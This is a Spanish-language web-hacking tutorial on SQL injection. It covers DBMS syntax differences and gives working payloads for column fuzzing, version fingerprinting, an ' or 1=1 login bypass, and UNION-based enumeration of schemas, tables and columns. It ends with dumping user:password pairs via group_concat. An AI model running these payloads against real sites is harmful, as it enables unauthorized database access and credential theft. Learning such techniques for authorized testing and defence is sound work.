SQLI - Inyecciones SQL

web hacking

el ataque de SQLi consiste en inyectar instrucciones de SQL maliciosas a una base de datos para conseguir información del sitio web, implica controlar la base de datos para robar la información confidencial que se encuentra en las mismas

SQL, que significa Structured Query Language, es un lenguaje de programación estandarizado utilizado para gestionar y manipular bases de datos relacionales. Permite realizar tareas como crear, modificar, consultar y eliminar datos, así como definir la estructura de las bases de datos.

Sintaxis en las SQLi

la sintaxis cambia dependiendo del gestor de bases de datos que se use en el objetivo, no totalmente pero si una parte. Los gestores mas usados son:

  • MySQL: Es una de las opciones más populares y ampliamente utilizadas debido a su fiabilidad, velocidad y facilidad de uso.

  • PostgreSQL: Destaca por su cumplimiento avanzado de SQL, extensibilidad y robustez.

  • SQL Server / Microsoft SQL server: Desarrollada por Microsoft, es una opción común para soluciones empresariales.

  • Oracle: Es una base de datos líder en el mercado, especialmente en entornos empresariales y sistemas mainframe.

  • DB2 (IBM): Es otra base de datos de IBM, popular en sistemas mainframe y entornos empresariales.

Guía para no perderte en los cambios de sintaxis en cada tipo de gestor de bases de datos:

importante recordar que, el comentario en una SQLi puede ser — -, --, o #

se vera mas a detalle mas adelante

identificar versión y motor (gestionador en uso) en las bases de datos

Oracle

' union select 'a', banner from v$version-- -

debemos enumerar primero las columnas y luego agregar los 'a' u otras cadenas necesarias, Esto es fundamental, porque el número de columnas en la parte UNION SELECT debe coincidir con la consulta original.

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
# y asi consecutivamente
  • debemos enumerar Hasta que da error. El número justo antes del error es la cantidad de columnas.

Luego, puedes usar:

' UNION SELECT 1,2-- - 
' UNION SELECT 1,2,3-- -

Y ver qué números aparecen en pantalla. Esas son las columnas visibles (renderizadas en la web). Ahí es donde puedes inyectar datos útiles como @@version o banner.

Cuando conoces la cantidad de columnas, rellenas con valores como 'a', null o numero de columna, y en las columnas visibles colocas los datos que quieres extraer.

' UNION SELECT 'a', banner FROM v$version-- -

Aquí 'a' es solo para rellenar la primera columna, y banner es el valor que nos interesa mostrar.

  • 'a' puede usarse si la columna espera texto.

  • Usa null si no te importa el valor y no quieres errores de tipo de datos.

MySQL y MSSQL (Microsoft SQL server)

como en el anterior, iniciamos fuzzeando las columnas desde la URL

example.com/ejemplo?categoria=gatos' order by 1-- -
example.com/ejemplo?categoria=gatos' order by 2-- -
y asi consecutivamente

cuando terminemos esa tarea, podremos seguir:

/ejemplo?categoria=gatos' UNION SELECT @@version, 'a'-- -
  • @@version nos indica la versión en MySQL, y como en este ejemplo solo descubrimos 2 columnas ponemos una cadena de texto o un NULL, como prefieras + lo de @@version

SQL injection lógica

en este tipo de inyección el atacante usa condiciones lógicas (booleanas) o respuestas distintas del servidor para inferir información de la base de datos cuando no recibe datos directamente. Es una forma de blind SQLi porque el atacante no ve resultados SQL directos, sino que observa diferencias en el comportamiento. en su forma básica, se utiliza la siguiente condición:

' or 1=1-- -

los dobles guiones son un comentario el cual termina la query para no dejar errores, depende del gestor de bases de datos como es el comentario (#, — -, — )

esto siempre devuelve verdadero, por lo que podemos utilizarlo para bypassear un login, por ejemplo:

admin' or 1=1-- -
# y de password ya podemos introducir cualquier cosa
o
admin
password: cualquiercosa_aqui' or 1=1-- -

no solo es útil en estos casos, también podemos utilizarla para descubrir listas completas u objetos ocultos por parámetros vulnerables.

SQL injection in-band (basada en uniones)

la SQL injection basada en uniones es la mas común y simple cuando se trata de enumerar la información en una base de datos, veremos como empezar a enumerar desde 0

debemos hacer fuzzing de las columnas en la base de datos que se esta utilizando actualmente para poder estructurar las queries

' order by 1-- -
' order by 2-- -
' order by 3-- -
y asi consecutivamente..

los dobles guiones son un comentario el cual termina la query para no dejar errores, depende del gestor de bases de datos como es el comentario (#, — -, — )

ya que tenemos el numero de columnas (en este ejemplo 2) vamos a enumerar las bases de datos existentes

  • al enumerar las columnas ahora podemos enumerar las bases de datos existentes, en este caso suponemos que hay dos columnas por lo que ponemos algún valor como NULL, una cadena de texto o el numero de la columna correspondiente hasta llegar a la parte donde ponemos la siguiente instrucción:

' union select NULL, schema_name from information_schema.schemata # lista BDs existentes
  • schema_name: nombre de bases de datos

  • information_schema: esta es una base de datos que integra información sobre el propio sistema de bases de datos

information_schema no se usa en bases de datos como Oracle

con la instrucción anterior, no siempre se nos listan todas las bases de datos:

  • es posible que solo muestre una

  • es posible que no te las muestre porque es mucha información la cual no es capaz de listar

para esto, usamos los limits:

  • La cláusula LIMIT en SQL se usa para restringir el número de filas devueltas por una consulta. Se agrega al final de la sentencia SELECT y se utiliza para limitar la cantidad de resultados que se muestran, ya sea desde el inicio o a partir de una posición específica.

ponemos NULL para representar el 1, ya que son 2 columnas, y al siguiente nuestra instrucción donde pedimos los nombres de las bases de datos.

  • ahora si, enumeremos las tablas de la base de datos que queramos ver

' union select NULL, table_name from information_schema.tables where table_schema='nombre_de_bd_aqui'-- -

table_schema: aquí decimos algo como "donde el nombre de la base de datos es"

ya que tenemos la información anterior, podremos enumerar columnas:

' union select NULL, column_name from information_schema.columns where table_schema='nombre de la bd_aqui' and table_name='nombre_de_tabla_aqui'-- -

ahora que contamos con las columnas utilizamos la siguiente query para ver:

' union select columna1, columna2 from nombre_de_bd.nombre_de_tabla-- -

ya que tenemos columnas, no usamos NULL ni lo demas.

  • pongamos de ejemplo que queremos ver los datos dividos por algo, como cuando estamos consiguiendo users y passwords, para esto podemos usar la siguiente query:

' union select NULL,group_concat(columna1,':',columna2) from nombre_de_bd.nombre_de_tabla-- -

en el mejor de los casos, esta query debería ser aceptada, si no es así en vez de usar group_concat, usamos concat:

' union select NULL,concat(columna1,':',columna2) from nombre_de_bd.nombre_de_tabla-- -

group_concat: concatena valores de las columnas

  • también pueden influir los 2 puntos, por lo que es preferible ponerlo en hexadecimal sin las comillas o viceversa (osea texto no hexadecimal): 0x3a

siempre hacemos la inyección así:

?vulnerable=si' inyeccion aqui

pero podemos hacerlo así también sin completar el parámetro:

?vulnerable=' inyeccion aqui

esto evita que se muestre información de la web que no ocupamos que no sea la que nos da la inyección.

para encontrar columnas que nos permitan implementar strings / plasmar texto en la respuesta de la query podemos hacer:

' union select NULL,NULL,'TEXTO'-- -

nos ayuda a identificar qué columnas son visibles. También como hemos visto anteriormente lo podemos usar para detectar el numero de columnas en vez de usar NULL o números. Como dije anteriormente, no todas las columnas aceptan strings por lo que hay que fuzzear

aqui suponemos que hay 3 columnas, y puede ser en cualquier columna donde podemos buscar pero en este caso lo hacemos en la ultima

Operadores lógicos SQL explicados para el uso en SQLi

Operador
Descripción
Ejemplo

AND

Devuelve TRUE si ambas condiciones son verdaderas

' OR 1=1 AND 1=1--

OR

Devuelve TRUE si al menos una condición es verdadera

' OR 1=1--

NOT

Niega la condición

' OR NOT 1=2--

=

Igualdad

user='admin'

!= o <>

Diferente de

user!='admin'

>

Mayor que

id > 3

<

Menor que

id < 10

>=

Mayor o igual

id >= 5

<=

Menor o igual

id <= 100

BETWEEN

Comprueba si un valor está entre dos valores

id BETWEEN 1 AND 10

IN

Comprueba si un valor está en una lista

user IN ('admin', 'root')

LIKE

Comparación con patrones (comodines % y _)

user LIKE 'adm%'

IS NULL

Verifica si un campo está vacío

email IS NULL

IS NOT NULL

Verifica si un campo no está vacío

email IS NOT NULL

Last updated